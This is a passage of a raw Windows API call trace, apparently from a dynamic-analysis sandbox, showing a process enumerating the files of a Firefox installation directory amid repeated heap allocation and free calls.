(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.261] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3318ad80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1b1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="nss3.dll", cAlternateFileName="")) returned 1 [0089.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.262] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3449da80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x60070, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssckbi.dll", cAlternateFileName="")) returned 1 [0089.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.264] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssdbm3.chk", cAlternateFileName="")) returned 1 [0089.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c17a8 [0089.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eece8 [0089.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.266] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x16870, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssdbm3.dll", cAlternateFileName="")) returned 1 [0089.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.267] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x58a5b700, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x771d55, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0089.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c17c8 [0089.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8dc0) returned 0x132a698 [0089.269] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf10b340, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf10b340, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1218800, ftLastWriteTime.dwHighDateTime=0x1ced1df, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="platform.ini", cAlternateFileName="")) returned 1 [0089.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c17e8 [0089.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eed70 [0089.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.271] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x357b0780, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4870, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-container.exe", cAlternateFileName="")) returned 1 [0089.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.272] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x36139e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x6e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-hang-ui.exe", cAlternateFileName="")) returned 1 [0089.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.273] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5c2963ee, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="precomplete", cAlternateFileName="")) returned 1 [0089.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1808 [0089.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eedf8 [0089.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.275] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x13c55480, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x8f3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="removed-files", cAlternateFileName="")) returned 1 [0089.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1828 [0089.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eee80 [0089.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.277] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.chk", cAlternateFileName="")) returned 1 [0089.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1848 [0089.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eef08 [0089.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.278] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x25870, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.dll", cAlternateFileName="")) returned 1 [0089.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.280] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall", cAlternateFileName="")) returned 1 [0089.280] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x9f38e880, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="")) returned 1 [0089.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1868 [0089.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eef90 [0089.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.281] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x37dd6180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.exe", cAlternateFileName="")) returned 1 [0089.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.283] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0089.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1888 [0089.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef018 [0089.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.284] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3875f800, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x29bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapp-uninstaller.exe", cAlternateFileName="")) returned 1 [0089.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.286] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt", cAlternateFileName="")) returned 1 [0089.286] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x390e8e80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a670, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt-stub.exe", cAlternateFileName="")) returned 1 [0089.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.287] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.287] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a38c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49266e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1502070, dwReserved0=0x0, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 1 [0089.287] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.289] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a38c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49266e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1502070, dwReserved0=0x0, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 0 [0089.289] GetLastError () returned 0x12 [0089.289] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9100 [0089.289] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf1a38c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef422c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef422c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x23996480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessibleMarshal.dll", cAlternateFileName="")) returned 1 [0089.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x774f8200, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x279, dwReserved0=0x0, dwReserved1=0x0, cFileName="application.ini", cAlternateFileName="")) returned 1 [0089.289] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: 